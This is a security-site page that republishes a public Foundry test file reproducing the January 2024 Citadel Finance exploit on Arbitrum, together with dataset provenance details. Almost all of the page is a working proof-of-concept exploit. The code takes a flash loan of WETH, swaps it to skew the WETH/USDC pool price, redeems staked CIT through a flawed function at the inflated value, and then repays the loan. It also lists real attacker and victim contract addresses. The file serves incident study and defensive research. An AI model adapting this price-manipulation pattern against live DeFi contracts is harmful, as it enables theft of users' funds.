Skip to content
THREATWIRE

Public reproduction file

src/test/2024-01/CitadelFinance_exp.sol

Public reproduction file for dataset entry CitadelFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/CitadelFinance_exp.sol171 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$93K
8// Attacker : https://arbiscan.io/address/0xfcf88e5e1314ca3b6be7eed851568834233f8b49
9// Attack Contract : https://arbiscan.io/address/0xfcbf411237ac830dc892edec054f15ba7f9ea5a6
10// Vuln Contract : https://arbiscan.io/address/0x34b666992fcce34669940ab6b017fe11e5750799
11// One of the attack txs : https://app.blocksec.com/explorer/tx/arbitrum/0xf52a681bc76df1e3a61d9266e3a66c7388ef579d62373feb4fd0991d36006855
13// @Analysis
14// https://medium.com/neptune-mutual/how-was-citadel-finance-exploited-a5f9acd0b408
16interface ICitadelStaking {
17 function redeemCalculator(
18 address user
19 ) external view returns (uint256[2][2] memory);
21 function getCITInUSDAllFixedRates(address user, uint256 amount) external view returns (uint256);
23 function deposit(address token, uint256 amount, uint8 rate) external;
25 function getTotalTokenStakedForUser(address user, uint8 rate, address token) external view returns (uint256);
28interface ICitadelRedeem {
29 function redeem(uint256 underlying, uint256 token, uint256 amount, uint8 rate) external;
32interface ICamelotRouter {
33 function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
35 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
36 uint256 amountIn,
37 uint256 amountOutMin,
38 address[] memory path,
39 address to,
40 address referrer,
41 uint256 deadline
42 ) external;
45contract ContractTest is Test {
46 ICitadelStaking private constant CitadelStaking = ICitadelStaking(0x5e93c07a22111b327EE0EaEC64028064448ae848);
47 ICitadelRedeem private constant CitadelRedeem = ICitadelRedeem(0x34b666992fcCe34669940ab6B017fE11e5750799);
48 Uni_Pair_V3 private constant WETH_USDC = Uni_Pair_V3(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
49 IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
50 IERC20 private constant USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
51 IERC20 private constant CIT = IERC20(0x43cF1856606df2CB22AEdbA1a3e23725f1594E81);
52 ICamelotRouter private constant CamelotRouter = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);
53 address private constant citadelTreasury = 0x5ed32847e33844155c18944Ae84459404e432620;
55 function setUp() public {
56 vm.createSelectFork("arbitrum", 174_659_183);
57 vm.label(address(CitadelStaking), "CitadelStaking");
58 vm.label(address(CitadelRedeem), "CitadelRedeem");
59 vm.label(address(WETH_USDC), "WETH_USDC");
60 vm.label(address(WETH), "WETH");
61 vm.label(address(USDC), "USDC");
62 vm.label(address(CIT), "CIT");
63 vm.label(address(CamelotRouter), "CamelotRouter");
64 }
66 function testExploit() public {
67 // Before attack
68 // Deposit CIT tx: https://app.blocksec.com/explorer/tx/arbitrum/0xcf75802229d440e4fbabb4d357fa1886c25e9a6b5c693e9e9573c71c15e2b0d3
69 // Exploiter transfer to attack contract following amount of CIT:
70 deal(address(CIT), address(this), 2653 * 1e18);
71 // Approve CIT tokens to CitadelStaking contract:
72 CIT.approve(address(CitadelStaking), CIT.balanceOf(address(this)));
73 // Deposit all CIT tokens at fixed rate (1) to CitadelStaking contract:
74 CitadelStaking.deposit(address(CIT), CIT.balanceOf(address(this)), 1);
75 emit log_named_decimal_uint(
76 "Exploiter total staked CIT amount (minus fee) before attack",
77 CitadelStaking.getTotalTokenStakedForUser(address(this), 1, address(CIT)),
78 CIT.decimals()
79 );
81 emit log_named_decimal_uint(
82 "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), CIT.decimals()
83 );
85 vm.roll(174_662_726);
86 vm.warp(block.timestamp + 15 minutes + 13 seconds);
88 emit log_string("--------------------Start attack--------------------");
89 // Start attack
90 // Take WETH flashloan -> 4_500 WETH
91 uint256 wethAmount = 4500 * 1e18;
92 bytes memory data = abi.encode(wethAmount);
93 WETH_USDC.flash(address(this), wethAmount, 0, data);
95 emit log_named_decimal_uint(
96 "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), CIT.decimals()
97 );
98 }
100 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
101 uint256 borrowedWETHAmount = abi.decode(data, (uint256));
102 WETH.approve(address(CamelotRouter), borrowedWETHAmount);
104 // Deposit borrowed WETH to WETH/USDC pair and swap to USDC (CamelotPair). Manipulate pool
105 emit log_named_decimal_uint(
106 "Flashloaned amount of WETH to swap and manipulate WETH/USDC pair", borrowedWETHAmount, WETH.decimals()
107 );
108 WETHToUSDC(borrowedWETHAmount);
110 uint256 amountIn = WETH.balanceOf(citadelTreasury);
111 address[] memory path = new address[](2);
112 path[0] = address(WETH);
113 path[1] = address(USDC);
115 uint256[] memory amounts = CamelotRouter.getAmountsOut(amountIn, path);
116 uint256 amountOutUSDC = amounts[1];
118 uint256 amountCITAvailable =
119 CitadelStaking.redeemCalculator(address(this))[0][1] + CitadelStaking.redeemCalculator(address(this))[1][1];
121 emit log_named_decimal_uint("Available amount of CIT to redeem", amountCITAvailable, CIT.decimals());
123 uint256 citInUSD = CitadelStaking.getCITInUSDAllFixedRates(address(this), amountCITAvailable);
125 emit log_named_uint("Available amount of CIT to redeem in USDC", citInUSD / 10 ** 12);
127 uint256 redeemAmount = amountCITAvailable;
128 if (amountOutUSDC < citInUSD / 10 ** 12) {
129 redeemAmount = redeemAmount / 3;
130 }
132 // Flawed function. This function makes calculations based on state of WETH/USDC pair
133 CitadelRedeem.redeem(1, 0, redeemAmount, 1);
135 USDC.approve(address(CamelotRouter), USDC.balanceOf(address(this)));
137 // Swap back from USDC to WETH
138 USDCToWETH(USDC.balanceOf(address(this)));
140 // Repaying flashloan
141 WETH.transfer(address(WETH_USDC), borrowedWETHAmount + fee0);
143 emit log_string("--------------------End attack--------------------");
144 // After couple of above attacks, deposited CIT has been withdrawn in the following tx:
145 // https://app.blocksec.com/explorer/tx/arbitrum/0x09105b771ada0c66f48786260929c0967fc822e037904ced6eac61284b6992d9
146 }
148 function WETHToUSDC(
149 uint256 amount
150 ) private {
151 address[] memory path = new address[](2);
152 path[0] = address(WETH);
153 path[1] = address(USDC);
155 CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
156 amount, 0, path, address(this), address(0), block.timestamp + 1000
157 );
158 }
160 function USDCToWETH(
161 uint256 amount
162 ) private {
163 address[] memory path = new address[](2);
164 path[0] = address(USDC);
165 path[1] = address(WETH);
167 CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
168 amount, 0, path, address(this), address(0), block.timestamp + 1000
169 );
170 }

Analysis

Dataset entry

Public Foundry test for “CitadelFinance” (2024-01-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xfcf88e5e1314ca3b6be7eed851568834233f8b49

  • Attack Contract

    0xfcbf411237ac830dc892edec054f15ba7f9ea5a6

File record

Name
CitadelFinance
Path
src/test/2024-01/CitadelFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1abbc0c0c2d3e45a8510ac5d84ea2e22843e0b21
Language
Solidity
Size
172 lines
Date
2024-01-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-01/CitadelFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1abbc0c0c2d3e45a8510ac5d84ea2e22843e0b21, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.